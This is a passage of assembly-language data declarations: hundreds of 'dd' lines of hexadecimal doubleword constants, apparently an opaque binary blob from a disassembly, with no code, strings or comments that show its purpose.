7CC16DFh, 0D9C421B6h, 32CEA192h dd 0FA1E0DDh, 3EBE4700h, 89B72380h, 9050251Ch, 87DFB55Fh dd 657EB947h, 0EE3B40B1h, 0BBCF3F5Bh, 2182C30Eh, 413AC058h dd 6E4AA55h, 0EC84973Ch, 331372B3h, 0AAC0899Dh, 27276468h dd 2244CE98h, 0A3408F00h, 0F33E03A5h, 1B6FAEAh, 90EEF2CBh dd 0C81F2509h, 24050481h, 3186DC9Bh, 0AA4BB3F7h, 5D01CF3Fh dd 250FEFBFh, 0C7C33085h, 6679F625h, 2031B0AEh, 0E92531D9h dd 321DF7FBh, 36811791h, 2BC1EB80h, 0F2819535h, 2D2B1161h dd 0C0565A95h, 60862A2Ch, 4F0112AFh, 4F90B33Fh, 6139F96Eh dd 84B67894h, 0D10B0116h, 2B2685DCh, 0FC2FB52Dh, 4A6FC8Ah dd 4DA068BFh, 8D49C025h, 0F8B0898Bh, 895A9ACh, 8117CD6Fh dd 3DA141C5h, 640F1F60h, 358A0C31h, 20730A5h, 665660A0h dd 0F5763EB8h, 0B2966115h, 0FD01FFBCh, 0DFEF0F59h, 8DD5EB35h dd 5A7BAA29h, 0F9CECC8Fh, 5BB19A95h, 8C9870DCh, 169DC802h dd 0C627BF65h, 0F675024Ah, 0AE1FB36h, 247D8960h, 6605B81h dd 269712Ah, 0AF856815h, 717E832Dh, 4810C8E2h, 4C547AA9h dd 9D279CF1h, 91721277h, 0F9F00B83h, 0F1C58304h, 593E3C82h dd 26FEBCCAh, 63DDE380h, 83E0E0D8h, 0A92DE6E8h, 1E80E4A1h dd 0BEE54939h, 68F59801h, 0D41A17C9h, 0BF26E8F2h, 575202C0h dd 0E0F9B0F9h, 0C58E657Ch, 688E87E0h, 9901C878h, 0F12EFB45h dd 61F1ABFDh, 8AC2315Ah, 23D49D23h, 0ABA545A5h, 836780Dh dd 96BDAD00h, 57CF358Bh, 1D852E01h, 0B25B9232h, 0D54C8910h dd 3D435FCFh, 8FADADE9h, 0E7E53EECh, 68E0FE0h, 3D25DC8Ah dd 53A2B41h, 0B86BE9E4h, 56B43855h, 0CD10EFD8h, 5B5F130Eh dd 0BEE412E6h, 8B12C0B7h, 841CE2DFh, 0B2130412h, 57B0000Dh dd 442F54B3h, 0EF8102ADh, 0F59ACCF1h, 0A18560C0h, 2F8E314Bh dd 0F6A5EC35h, 927AE0D3h, 6638300Ch, 0C19589AAh, 7A9D2F4Ah dd 0B5598DF0h, 3859EC09h, 70958A4h, 0A53171F5h, 0F9000037h dd 0A8BACE61h, 1E3A97DFh, 1D50A3DBh, 3251052Bh, 24870F76h dd 0F3BD16B2h, 32791059h, 2C90962Dh, 34002259h, 0EF0C7728h dd 7B6012h, 4FBB5035h, 96388C4Bh, 6E5C8A0h, 422581A4h dd 50794522h, 1B97703Bh, 575A1425h, 0E6D7AEC9h, 3D54F007h dd 77FD0EA5h, 4E055C4Bh, 4AEBBC74h, 342B24CDh, 0B872A908h dd 0BED120DDh, 5A8231E2h, 653DBF8Fh, 82C94D01h, 0EED42EDFh dd 9ADA5859h, 0AE04C213h, 0F9C02C9Ah, 7143FF39h, 487C0E12h dd 3C1DB501h, 122E4E7Dh, 106FE749h, 0CD4A0C01h, 0A76E7F52h dd 9F0C070Fh, 2A08E3C0h, 0F286FF6h, 0E09A2288h, 816B9A95h dd 6A5A0601h, 0B857E93Bh, 8DB10139h, 0C23803DFh, 75EA271Fh dd 952D1FB9h, 25F34299h, 121177E0h, 0DEDC5081h, 0DB345F89h dd 0D6E9C368h, 1D543F07h, 4AC38BCBh, 0E93FFEh, 5A457ED5h dd 0C46F2C92h, 0F15215Ch, 0AA9F7FBFh, 1033CCA5h, 0F230A5BDh dd 0C5735F66h, 2F1A3D0h, 7E5B7F58h, 9C40F973h, 96811B05h dd 94500724h, 0DB579C9Bh, 5B80418Dh, 964A585Ah, 0B7800EDBh dd 0B8D9FA71h, 67F2BA04h, 36817BBCh, 0B2597F27h, 25359DE4h dd 8D5B0D2Bh, 57181759h, 4DE79204h, 96DBF88Bh, 90C01688h dd 9D89B291h, 9A54F789h, 5CD9B7E2h, 14485188h, 2D872BBCh dd 430DC0E6h, 81126DFFh, 71E318AFh, 37F7C625h, 403282CCh dd 6070352Ch, 0FE97F498h, 92C4AE2h, 84562671h, 0FADF8178h dd 21E03DAh, 0FFF384E9h, 54DC28Ch, 0E1CBB20h, 8B2C1267h dd 80559BC1h, 0F4534AC7h, 0DF64028Dh, 0F9852990h, 49BFA8A0h dd 3B4FB335h, 14EB67AAh, 0C274B822h, 566ADC8Ah, 9012DE03h dd 3F02EBD3h, 0CF6A5CEEh, 4B61413Eh, 0BFDBF896h, 550BD218h dd 0FFB5E0B8h, 949ACE82h, 0C8817132h, 2EA9A4D3h, 6D164816h dd 0BD5046B4h, 0AF2EFD90h, 0B635E6E2h, 12E2E93Ah, 39B8B00h dd 5A44D694h, 3F35FB01h, 0B6A91539h, 0D53A3FBh, 0A571EB66h dd 1F320CEh, 0B342F989h, 0A781F6C9h, 65832A37h, 0F893BEE2h dd 5EFE1295h, 0C9110460h dd 49C8521Fh, 4C9801D7h, 5EAACCA1h, 2A302E61h, 9C1E8F0Fh dd 56184494h, 0AE00B0B2h, 0BB311E82h, 8700FF5Dh, 0F3D4DDB7h dd 9DF4618h, 5F480CC2h, 4DA54873h, 0F3994053h, 49762FCFh dd 0AC300816h, 986C9500h, 59FF4664h, 0E7BC4DD1h, 5E8A3E4Bh dd 0BA259C34h, 0A8B070B6h, 3201E518h, 840EEA2h, 0EB002687h dd 6A25495Ch, 70B25B02h, 5A02596Eh, 3D2D32FEh, 69D2C144h dd 0BB06412Ah, 3B90C9F1h, 0FE4AEE44h, 835C101Ah, 3B535F40h dd 63F8D6h, 8733868Fh, 365AE1ABh, 5F42B718h, 9E616034h dd 2B9040C3h, 55C199Dh, 20ABA407h, 0CB8713BAh, 39A79D0Fh dd 0E3E846Dh, 0EAB189B8h, 74BC06B5h, 121C9949h, 0B64D52FDh dd 301DB268h, 13004694h, 772B0B9Bh, 3FC2CEB9h, 0BB021CB3h dd 7AF78AD8h, 0FB5DDA4Ah, 1F565898h, 9D016C0Eh, 421370Dh dd 292E1A99h, 5AE93A70h, 0F201D5ACh, 0FF79888h, 702B0A8Eh dd 2A994787h, 0C2A54125h, 909F578Eh, 6A801C91h, 0B13023EBh dd 0CB226607h, 7A31812Eh, 5CCE353Ah, 550469B2h, 0B8524B08h dd 2F78139h, 6377F0ACh, 667EFF6Ah, 59F22D16h, 9962F29h dd 907112F9h, 22013D43h, 0B8020CE9h, 7F480798h, 141B40CBh dd 83D71CE2h, 8FC427B0h, 0A800547Fh, 919802A6h, 0EE450Ah dd 262ACC21h, 0FAD371CEh, 5B0235E4h, 9D2370E6h, 1F3F5CA5h dd 0BD09C2E4h, 9E5C1B95h, 0B621F864h, 492292C8h, 61ADB331h dd 539F202Eh, 4149B531h, 0B85B2C65h, 7DB1BF01h, 92E2E38h dd 0FF0060A4h, 61E9D6EEh, 9DA30A97h, 2DA3C860h, 0CAB0F44h dd 60002BC3h, 0D2433CB8h, 0F9B26300h, 29D18B61h, 2CDD2ABDh dd 3FA66A97h, 97CF60EDh, 0A97EA5A1h, 0BAD33100h, 0FDB7A77Bh dd 10C74BC1h, 4065A2BDh, 865C25Fh, 95042E5Bh, 0CCB82115h dd 8EEF8180h, 414A3F2Fh, 209D3BB4h, 0A4952531h, 89491BD7h dd 0E9258744h, 0C74E56h, 8E8C9684h, 0BF660867h, 9834B828h dd 3FF8D35h, 0E82B3C01h, 222E369Ah, 7B7D31D7h, 0D3B6003Ah dd 6F513E71h, 20A58328h, 0EC58FE6Eh, 9508CC3Dh, 3C0029CEh dd 14671AD9h, 1223A9A8h, 0E61EA16Eh, 33E710D6h, 536B93h dd 3543A3F6h, 2F9E0F7h, 0B70F554Ah, 45B6AFAh, 3B0FD778h dd 0EC96F21Dh, 75B2C8EFh, 92A6B800h, 0AA8F3780h, 1E9601B6h dd 0F6C6507Dh, 0C6ED3B41h, 18C1DA8h, 0DC7EBA2Ch, 0D4C701F7h dd 0BB002747h, 4273A42Ah, 950EE3B9h, 1E40B64Fh, 1746C49h dd 336CEA5h, 2F22B301h, 85892101h, 0D10F31F5h, 4FCCC09Ch dd 0E684CBD0h, 0DF8107D6h, 0B928555Ah, 0F091571h, 61DD768Bh dd 47BAB5EBh, 1993800Fh, 0B6971A5Ch, 64FE9724h, 23220F7Eh dd 81A06C19h, 808482DBh, 0B920AD92h, 880D2714h, 0BABD7Fh dd 54324FDEh, 8A27E92Ch, 17B49BD9h, 0E6246D68h, 600A0053h dd 0FAA4D1C3h, 1C5AF69Eh, 4965B454h, 5779AECCh, 0E0F8CD27h dd 2CD0DAAAh, 9597257Fh, 45BB9D4Eh, 0ED639F74h, 0EAB8C5h dd 379F9034h, 17998A94h, 54B7FC12h, 8B894CF2h, 444C6F7Dh dd 21568273h, 59422D5Ch, 49330A1Fh, 0C042ED7Fh, 57A08D78h dd 0F10E235Fh, 0A34AB1E5h, 21BD3EA9h, 0DE372C11h, 3D7AA200h dd 0DB80307Bh, 0C78102AEh, 2150496Eh, 8D508D5Eh, 13EF9704h dd 34EDA140h, 5D0C094Dh, 0AA79231Ah, 42537844h, 52EFDA9Ah dd 61F250C0h, 458B9497h, 20573C2Bh, 0AF604E0Dh, 1800336Bh dd 4C511DFCh, 7450DF28h, 5C9F3DAFh, 527EC934h, 5A7301D4h dd 31C50970h, 43522F85h, 0DB2BAEE1h, 60038319h, 0A95C8802h dd 90BF500Fh, 0B98AEAF9h, 9C7A6CFh, 1A5C0DB5h, 0A65315C4h dd 2059E081h, 32E20991h, 0E8DFAEE9h, 957416h, 70B6797h dd 0C6D89945h, 0D9E24E01h, 91E0A90h, 2727AF30h, 0C7E45F49h dd 0FDCEFA00h, 59CC3E52h, 0D5BC5818h, 0B01331C7h, 0A1D62B1Ch dd 874C3606h, 4BEA5FFAh, 0FC328CDFh, 89B79897h, 9954A8Dh dd 9944902Fh, 8F279A04h, 3FC33D1Ah, 3FBFF0F8h, 696F4CB3h dd 0CB6EAF4Eh, 3C00EA4Fh, 0D7F28768h, 0CCBB043Eh, 0AA0AE9B2h dd 0F178AC03h, 8501E1C8h, 8263942Ah, 46D06513h, 91853595h dd 0B4B7831Ch, 0D0008F3Eh, 39E1B352h, 84DAB589h, 2131C707h dd 2F5572E3h, 15E99130h, 808FBB02h, 5EBC9CEEh, 560462A2h dd 0FCCA38BBh, 66CC7CBCh, 604B4950h, 52DF7BC4h, 0BFD99B80h dd 0ED298C8Bh, 7D01D4E8h, 0CE43E6E2h, 60D9341h, 0A5F45B02h dd 9217DE2h, 0CE254774h, 0D440B499h, 0CBDAC708h, 8FC62506h dd 89FF60C4h, 0C38C28BAh, 9F609729h, 7AE6AB80h, 43A6BB9h dd 197E4175h, 0A62AEB1h, 32722009h, 4F059659h, 871517FAh dd 88ECCCh, 41B2DCCBh, 6A9B441Dh, 0AB55239h, 0E3F054A6h dd 5C044609h, 6600DECAh, 0EFB521A9h, 17BA40BBh, 0F3960A7Dh dd 0A78F030Ch, 0D8D1B7DBh, 797BB96Ah, 277E057Ch, 6F968353h dd 12BE4EB0h, 0BD05C4E0h, 1D4EC6Eh, 35BE999h, 2E21159Dh dd 8A12138Eh, 9D07E8DDh, 0A9BF0138h, 895CCD59h, 58FB0B41h dd 97F0C136h, 61018DCBh, 145DCE9Ah, 0ABE1BB66h, 2BC0302Fh dd 34481BDh, 538F510Fh, 0E25B51FCh, 0BC24F289h, 4600DCD3h dd 0E2E73112h, 25ECFDB8h, 61736B9Ah, 8D181959h, 5A4BF504h dd 868051D8h, 40259D23h, 0BD976128h, 811D9183h, 0A8E97480h dd 17D370F4h, 4CF684Bh, 0B8267173h, 0D336E264h, 79D0D8C9h dd 9842A900h, 5A293D1h, 1092B02Eh, 90AF985h, 641FE95Bh dd 9794F606h, 61726D9Dh, 0F83B57FEh, 899B9DE2h, 5E5F820Bh dd 14455130h, 9DB892A9h, 0C2D9B00h, 17167FBDh, 0E9569FF5h dd 35CBC80h, 854FA7h, 21CCA67Ah, 1F69C782h, 78291925h dd 759E97E6h, 5303F925h, 2E38D1D8h, 52DDC3C1h, 0CE802268h dd 5F3D36E0h, 0CCBE6501h, 0BAB54AD9h, 8133352Ah, 2F3081F5h dd 0B3896073h, 0CC194A31h, 0F7EF60B4h, 41295DDh, 24110192h dd 1BA84FB9h, 7D69D8Ch, 250547CAh, 0B9A35051h, 0B69E844Ah dd 6738E041h, 0E05D1282h, 4BFBB6B3h, 0B430318Dh, 0E6D9D2A5h dd 3016B2E1h, 11025E5Dh, 6AEB45BBh, 0CFD68112h, 352F1B4Fh dd 0E013F633h, 4EECD80Fh, 8E30BE60h, 81276585h, 5F132F61h dd 0ABB083A7h, 0CA028A47h, 0DBBF0F53h, 9DAB705Bh, 0EF4717Ch dd 0C5BD8977h, 5C854B10h, 79195AC8h, 34F827D3h, 57000D79h dd 30E161A2h, 0A9F4004Fh, 0C8B3FB7h, 8C97E323h, 4B595250h dd 2E4ADD24h, 78041D35h, 0E1122C55h, 85C0A6F5h, 413400DEh dd 0D830148Fh, 0C5B55D27h, 416E320Bh, 1FF3F825h, 0D1B52674h dd 579689F9h, 13F7500h, 5C9F505Bh, 0DDEB40C4h, 87035C60h dd 7B5F134Ah, 0A3C388AAh, 16F3F03Eh, 9965B29h, 0A2DEE858h dd 6B2EF756h, 172332h, 9FC65BA7h, 461358BBh, 0D0AF4459h dd 0A309E6A4h, 0F717BC03h, 98BB6052h, 0B620453Ch, 422440FBh dd 3F12FF85h, 2BF3D803h, 0CDB5600Bh, 0CAD4E02h, 2FBC6104h dd 0F2944A2h, 0A38DCA46h, 58F9BE80h, 0B6617F71h, 0B0510D6h dd 468E0F96h, 0C1D4876h, 0B47E1E4Ch, 7C01DCB1h, 823147B8h dd 0F95DA137h, 82078920h, 42D4D7E2h, 9414CE25h, 371FD477h dd 0D181B70Bh, 67E84A7Ah, 138FCC8Ah, 2DEDC240h, 0BB9796D5h dd 3725039h, 0E35E1D25h, 0F84B25F7h, 691121E5h, 49E6B313h dd 4B090A6Fh, 0B7271971h, 303E1232h, 914DA32Dh, 8261E50Eh dd 0D8830787h, 0C635EA07h, 0EED3C7DEh, 0B3AA7D8h, 89BD23D2h dd 1155C656h, 0F3DD811Ah dd 6CF890B3h, 94BB01A1h, 0E9413E56h, 0C7C16AE2h, 9B3AC18Bh dd 0A0C480C9h, 9D9B2E4h, 0E9F88D40h, 58E8E15Ch, 0E0FA017Eh dd 338984A2h, 20B86870h, 0D6CA02Ah, 2F508104h, 0D20002FDh dd 0AD14EA64h, 611F9B11h, 0BD80F58h, 327331Fh, 0C5FC20CEh dd 0E0F004D2h, 5004BF61h, 5F3781F2h, 0DB2B0BB5h, 383D85AFh dd 8801B9F2h, 0AA2F1A91h, 4F6538D6h, 61C35DC4h, 0A6EEACDAh dd 0D6A7E07Bh, 1DA0905h, 26D68ACCh, 62882F13h, 9C760399h dd 0A394FEE4h, 0AC0BDEB8h, 5362211Dh, 7CCA914h, 651C60Fh dd 70B88145h, 0BC5ADEC4h, 0BC3459BEh, 6C4A27C6h, 91B73F48h dd 5C896081h, 0D4483CDh, 8C0A0E00h, 0A13DB8A2h, 1C950453h dd 0AE613482h, 3FE3AD74h, 0BD8D0904h, 0B0B81332h, 826E8D4Bh dd 0FFA6F666h, 0E0FFEDD1h, 51331836h, 0E4548A1Dh, 134EE5E5h dd 929EEF7Dh, 6AC03D95h, 0DD853102h, 90161096h, 0A6ACDF16h dd 0EE6834C0h, 0C81329CEh, 0C0A69010h, 0FB5932E7h, 0DBE9247Eh dd 1A6250FBh, 0A7E95212h, 19E2B8B8h, 24ED2B42h, 0FD5C96E0h dd 0EA895060h, 0BFA8C00Fh, 3034544Ch, 3709615Ah, 9D5279F8h dd 9F906756h, 14001552h, 0D4A99346h, 1CD30AEFh, 12995D45h dd 0E8EF12E5h, 8C1CFC00h, 8E456A00h, 1BD1503Eh, 3E3154F3h dd 1406EC9Ah, 86BBC537h, 8A5E1400h, 72FB698Bh, 234CB097h dd 0EB55D9Dh, 1321C84Ah, 5DC9FE01h, 0ADBCE135h, 730422D8h dd 0EDCA7D5Fh, 975B1770h, 0C86F3AA9h, 29BBCD64h, 0AD603F41h dd 9531A1BDh, 6B9CF3CEh, 3F2900DCh, 1A320D8Dh, 0E30C81F5h dd 0BEC1EA6Fh, 7A6D9DFFh, 336F8AC0h, 0D701D1Eh, 9DDD777h dd 5FD40541h, 1C5372Fh, 93C8D201h, 807E28EBh, 722EEAC6h dd 0E0590284h, 0B185F4CBh, 0E23BB8E0h, 0B19749F6h, 90150DA3h dd 0B01E7841h, 0F4D8989Dh, 0B1D501D7h, 7AF66191h, 96727F29h dd 13955E84h, 9E061D52h, 1EC1E7E4h, 69B70125h, 0D695492Fh dd 0C96CDFh, 0A5E073CAh, 0C5B557A2h, 21B03102h, 5EC8F97Eh dd 0D31A25A8h, 17D5A360h, 9549EC95h, 0BD10FB4Ch, 0E582A35h dd 0D9D8909h, 95092840h, 79117925h, 0CB031F59h, 0FD56053Dh dd 51850940h, 57EB9520h, 2D554018h, 4F8AD151h, 0DF22AADEh dd 89C67C85h, 96846FBBh, 0D87BC2Eh, 0CBEEB80h, 0E28529C0h dd 84999715h, 0A290090Eh, 45E91828h, 97F95617h, 0AA0B77B2h dd 119753F2h, 16152D77h, 4B21AD81h, 7FB37298h, 54955054h dd 5896E360h, 8036C045h, 61131CD1h, 0ABB59501h, 0C1735EDEh dd 3B5142CAh, 0F8C0F89Bh, 65139864h, 89CBEA0Bh, 0C987FA85h dd 3E79F950h, 474660A7h, 0B95B0BF5h, 47D30F7Eh, 2D1DD4D0h dd 0B75BEDF9h, 94C0E2D9h, 9B39041Dh, 0BDFC70C9h, 0EDB8F5h dd 9F26BD7Dh, 0FAEE3C0Dh, 22098FBEh, 24FE5977h, 7600DEF3h dd 0BB68F7CDh, 5814911Ah, 651049A2h, 4FBA3810h, 0BDB1CDE7h dd 9726D492h, 0DB80FE09h, 69707BB1h, 0E0EC47D7h, 7137D2D6h dd 1B67A62h, 1D37705h, 227C478h, 7780D209h, 8D5E4674h dd 44F14Bh, 13955837h, 46273510h, 7BCC8992h, 0AEB8DB7Dh dd 0A00BFD2h, 95F9B503h, 4CF860BAh, 61C92F89h, 5C9E8B7Ah dd 27C712F4h, 80A7ACD2h, 24A0043Dh, 0A57103E8h, 934F25F9h dd 0DE561F80h, 0DA96EA12h, 80B09FF2h, 4297EFC7h, 51795C4Bh dd 0BD57C25Dh, 14D8095Bh, 30E95D82h, 0D12F208h, 15587AF7h dd 57D8884Eh, 0D01F2A04h, 60BCC57Bh, 69BE60C0h, 304CC978h dd 0AE952978h, 9DEBBB05h, 0E120CE87h, 7209F4B7h, 250FBE8Dh dd 27394BC5h, 0A237F504h, 6146D88Bh, 0CE2B0A77h, 3FA12F5h dd 0EBE822B9h, 8CC48E16h, 6591460Ch, 952B1260h, 31EA4F5Dh dd 0B82794B3h, 984B374h, 0A1B50973h, 874F4E5Ah, 3840E931h dd 209D0560h, 81022EE1h, 0BE5034EFh, 2D615E22h, 0FAF4D590h dd 30E4E00h, 7C217E99h, 0F9490085h, 81836471h, 7409DECBh dd 785B78B8h, 0C7B79F56h, 892D0600h, 9DF13CAh, 289A9349h dd 0FC68477Ah, 0B50F862Bh, 0AD91933Dh, 61020E75h, 566BA156h dd 1846D653h, 0F395B802h, 0BDDEE30Bh, 5870AB0Bh, 850F2F99h dd 0DE79B666h, 0D88A3116h, 0FA3082B5h, 3F40E195h, 0B25B168h dd 8C0F301Fh, 28DEE57h, 0DF514EC7h, 75E70E7h, 2F26383Ch dd 0C0D76D30h, 6F92AFDBh, 0CA744B0Bh, 0D5BC0210h, 0E9245E23h dd 6640E9DCh, 555421h, 0A7ACF1CFh, 0EF4114AEh, 1BA311Eh dd 0E35DD740h, 9E88160h, 1D8C25A1h, 0BF02E6FFh, 0ACEA2F89h dd 4E81AFB7h, 1A8E9DFh, 7516F972h, 0DC3FB90Ch, 2BF366D2h dd 88056F50h, 0AAC92BBBh, 0BFF5702Fh, 0DC86773Dh, 0A60ACh dd 0E4FB4B34h, 6D95312Fh, 8EF7294Ah, 0B571A650h, 0FA890E85h dd 0B300C36Fh, 9FA3F2BEh, 4B5DD1E0h, 29930014h, 0D21426BBh dd 3739367h, 13D5BD31h, 4467713h, 50FFE504h, 531831EBh dd 2B42FE5Fh, 8B37F7h, 0D56F3C9Ch, 0E30281F9h, 376B27F6h dd 14905D60h, 0D003511h, 84D6D46Ah, 713C0FDh, 212B4D6Dh dd 0D7C24EA7h, 0CD69EA94h, 5C610220h, 5C446BF1h, 245D9E00h dd 471BC5D7h, 0D989003Ah, 6857AB6Dh, 31095A0Eh, 0FC605079h dd 4F56CB33h, 2E59F182h, 0DCD8DC79h, 29F67E12h, 0B05ECDE3h dd 2CE35615h, 9D7987B4h, 1FC09910h, 8BF70016h, 91FE2BC4h dd 3C02C1B0h, 505F5B42h, 1CD8C656h, 0C0854B6Eh, 5BA3DB3h dd 760106F6h, 0E29622F3h, 5FEC55D1h, 0CC3A9790h, 2FE3B555h dd 220575C1h, 0E2A25A46h, 41CD612Fh, 40A73EC0h, 404EB64Bh dd 38D5AC1Fh, 0B800D474h, 0F9FEC317h, 0C45BC0B7h, 0AF273D7Eh dd 0EB41863Dh, 382E0D99h, 38BF25DEh, 0A03BAEh, 0BF7080F5h dd 793A498h, 1FD32CFEh, 0CA27DFFCh, 4079127Dh, 12950252h dd 0E3614439h, 2B28AECDh, 0E21B5BD4h, 0CA85CA3Dh, 74A6DA35h dd 7B110DE0h, 4DBD3312h, 19510549h, 0B5DC0467h, 4CC21C9Fh dd 69D8C073h, 0F5C9469Ah, 16B46F12h, 0DBC8C0E2h, 0C529518Fh dd 28FF2E65h, 0BB006673h, 69BFD656h, 9739EFCBh, 7853991Ah dd 55537F72h, 27405AA5h, 0C5FB89B5h, 26AA1CD8h, 16A13225h dd 0AD3BB9FAh, 16A2BB1Ch, 0F050BC68h, 0CD9F3498h, 0C496E0E4h dd 3B12D8D4h, 6BAA50B3h, 192323h, 8FE45B7Dh, 0F85A6CF1h dd 0F65B39E7h, 0B250A2C3h, 28B0D5BEh, 997DEBFh, 694FFDA8h dd 6D439B40h, 2DD7967Dh, 0F6602E6Fh, 24FEB068h, 8882FC8h dd 0E2272D61h, 9561F881h, 0B56AE89h, 198F01DCh, 0DC76D9B0h dd 0B3002E0Fh, 404F2FBFh, 4AB7F247h, 0B2FFE6FEh, 198301Ch dd 4A82E203h, 0ACE8BF80h, 5A065A96h, 0B267E6DFh, 255D301Bh dd 0DAB92B00h, 142C90Dh, 0C9E54AB5h, 5FA62A8Ch, 4589ECE1h dd 6A0DA1E0h, 18C89D9Ah, 3774C9h, 0B509CC05h, 0E5952D1Dh dd 1C0D7040h, 0FD1FC0B7h, 93DD92E9h, 95E9A86Bh, 0CD5CC39Ah dd 0E4EE5925h, 0F97BEA71h, 0ACF63B00h, 8D1ABFE2h, 9D03BA0Bh dd 967261B9h, 0C5024F71h, 5CE02E07h, 43F9DB61h, 0BA3B60FCh dd 181F1EFFh, 0FE965BC9h, 2117DCF0h, 4B1268CDh, 56EF6802h dd 403E742Eh, 4E8720FFh, 1931156h, 0B90CCB81h, 742E17B1h dd 0DAE3FAE6h, 0AE2835F0h, 7A13F71Fh, 89483AC1h, 83384D8Dh dd 9BA5BB02h, 41906A97h, 65279D0Bh, 96A5122h, 0F2725BDFh dd 15D82293h, 614A000Dh, 805099F9h, 5B029BD3h, 7F753BFh dd 51F75C21h, 5CF81217h, 0C60965F1h, 9EDFA1F5h, 0D093C6D3h dd 0A5B8ECAFh, 0A01EF6F4h dd 0FCAF356Bh, 95DB07E7h, 49E97D96h, 0E80C055Eh, 0FB82D0Ah dd 874B80D6h, 4E937DA1h, 6F082AC5h, 0A9642D31h, 0C6FCC125h dd 0CB40B598h, 5B725090h, 3EED2EECh, 1805CC6Eh, 0FBBD9D8Bh dd 0D14B945Dh, 61C4572Ah, 53EF154Fh, 80339BD2h, 0B34292A8h dd 913409D1h, 0CAA12F2Eh, 2451D574h, 0D41551Ch, 0E62F122Bh dd 0A30CE332h, 0F8B6F8DBh, 0ACC64A48h, 1CE30C64h, 4891CAC5h dd 0BB824E1Ah, 0F754364Ch, 0D9DB725h, 13A8812h, 490B6DD9h dd 6CFB0092h, 74BF205h, 6325548Dh, 1221A62Ah, 4844D5BDh dd 6EFBD1FFh, 25948F4h, 748D8466h, 0D2724244h, 0DCC6BD83h dd 575624A2h, 7BFADD53h, 4A4000C9h, 56DBA8C6h, 0A4CF2542h dd 943F7864h, 96CB8EEFh, 0F5403D19h, 0D91B47A2h, 6A7D1B3Fh dd 98F7FE02h, 5225C820h, 809072FCh, 27310F95h, 367ACCB3h dd 37C9BF09h, 0C18B0EFCh, 906134DAh, 97DB8520h, 1A915E35h dd 4322EE81h, 17C46FAAh, 0E91223F8h, 0E194B89Dh, 6007D57Eh dd 0A6D28EC3h, 5DDB194Fh, 0DB4FFD80h, 1997FC9Fh, 986A535Ch dd 370AF393h, 915F60C5h, 3E7C4A5h, 0AB559846h, 93F0B89Fh dd 42025B73h, 0CADEB662h, 0BF91F7A2h, 2A90E58Ah, 71012A6Eh dd 0D2EC7567h, 0C3872E45h, 54E30E90h, 0C4740BBBh, 83DC2A37h dd 0B4E2CA3Dh, 8095A893h, 0A7D7664Ch, 4037A53h, 6DC96EBBh dd 4A80E8DBh, 6A5E5FCBh, 33195010h, 59251B0Eh, 0FCBCC4E7h dd 1CAC53B9h, 121F88Ch, 12B1848Ah, 6C7DCC02h, 4F201652h dd 0C782BC9h, 0DB8E16D3h, 4FEE8149h, 91201CC2h, 0DF1F5CA9h dd 70602D8Bh, 7B9D98Ah, 3044D481h, 622EC328h, 33202636h dd 99158DBDh, 0B0FE0E42h, 7910D714h, 26313B22h, 0E68B8EBDh dd 0C3465D70h, 4471E437h, 0C4B8925Fh, 39FF6C8h, 550B9D89h dd 12281E9Bh, 0F94B3917h, 848D1F8Ch, 4C3FE3BFh, 0FB51723Bh dd 8815162Bh, 9F005B93h, 0FEB13828h, 0FC728ADFh, 92B2073Fh dd 42685834h, 21C04C02h, 5B812ED5h, 22E162Eh, 0C82BAC14h dd 9D18D352h, 0D16F06DDh, 25852F09h, 8F51D4D2h, 3197034Ah dd 2B85272Fh, 688656E2h, 2C6925A2h, 228D0833h, 10440D99h dd 25602D5Ch, 66070F1h, 5AE98E1Bh, 84F753h, 0D6450235h dd 26300D4Bh, 9782BFBh, 517382DEh, 4AB2902Fh, 0AF2A0207h dd 88BE09ABh, 12076555h, 0B91831F5h, 2CABF071h, 0F85D3197h dd 7801C844h, 32598501h, 8407B22Ah, 0DB125248h, 6BFA83FAh dd 0EB80F08Dh, 2CA0B269h, 0A5040DB5h, 79E22454h, 78B90215h dd 5DB7AAA2h, 0BB408A74h, 1321DFh, 59B84EFCh, 6AAEE5BCh dd 0BEAFF70Ch, 400144D6h, 0B975F2Bh, 8DF14Dh, 0EFA18127h dd 61FC9791h, 0A2CF3000h, 4113F429h, 5FFE13ECh, 8046DBFCh dd 8998DE54h, 203D2585h, 14C9C648h, 0DC94B68Eh, 8C690200h dd 539C934Bh, 0A172F626h, 902CBDDFh, 3DDDBA27h, 7B0789C6h dd 0CB0033F1h, 6F0CFEEh, 8FFA4B58h, 91EC6248h, 0D98B020Eh dd 880D9340h, 8045BD9Dh, 0E6FCEB6Dh, 2E098EB5h, 5528BA4Eh dd 9B56C509h, 20F651C9h, 162125F9h, 5FF94290h, 7AD55195h dd 3135D5h, 0D8158E6Ah, 0D9209501h, 3B0B4803h, 282A5D55h dd 1B9599F1h, 7A05564h, 84589E3Ah, 0AD85B3F4h, 77000FE2h dd 2F8D01FDh, 0AA071367h, 8766D12h, 0EC96A430h, 0BFDE12E5h dd 4AF8B326h, 470B206Eh, 8C4DE1FFh, 67FFFDC0h, 658C2F23h dd 64B64790h, 5E2F8E02h, 0C0DB5F33h, 4B28E1B0h, 212D8A9Ah dd 20DBA7D8h, 66FCE751h, 2CF425BBh, 0C51A2BC5h, 0DEBDDC5Ch dd 0D0BFF800h, 0A76ABEDBh, 252CB0CCh, 74561449h, 6D925971h dd 0E09DB660h, 25AF4F71h, 25C25386h, 0B540F974h, 340D87h dd 0F4E831ADh, 3B2CDE40h, 0C2869925h, 0DC1A7E1Dh, 43690316h dd 503A4D04h, 3C101AB9h, 62855A01h, 0B04E9CF3h, 16971B9Bh dd 22CD9D15h, 0D338DA40h, 1FD8588Bh, 70418138h, 0BA1EBB8Eh dd 0F4B4354h, 8037F131h, 0AB63ED96h, 4FB8623Dh, 86E2DD0Bh dd 2EA9DEE8h, 0F2EBC0ACh, 6A0045CEh, 0C0B323DCh, 2AFCBA9h dd 0DED20702h, 8973905Fh, 2111D0h, 76A1E0Dh, 54577B0Ah dd 544BBB8h, 769A09BFh, 1FF0087Eh, 882D3D5Ch, 401E9E0Bh dd 183CD745h, 0BF009649h, 68611CAEh, 2DF9965h, 7A76BB14h dd 0D4545B72h, 0C05F9A1Ch, 8200722Ah, 0A64F239h, 0D72CBAh dd 7E7D34DDh, 35D6573Dh, 898D1995h, 0A21AA62Ah, 0E0493118h dd 425B73CCh, 9C4FC3E4h, 0DEBD244Fh, 0C87C8E0Fh, 7EEBE16Dh dd 5CCEC097h, 60826A5Ah, 0D99E3C1Dh, 71132400h, 6DDC97Eh dd 46E825E3h, 897C6BCCh, 0D79DAA8Bh, 6D958AD0h, 631B6461h dd 742FE8F2h, 15CD74BEh, 3B850F27h, 48128711h, 816AC283h dd 6B1C600Eh, 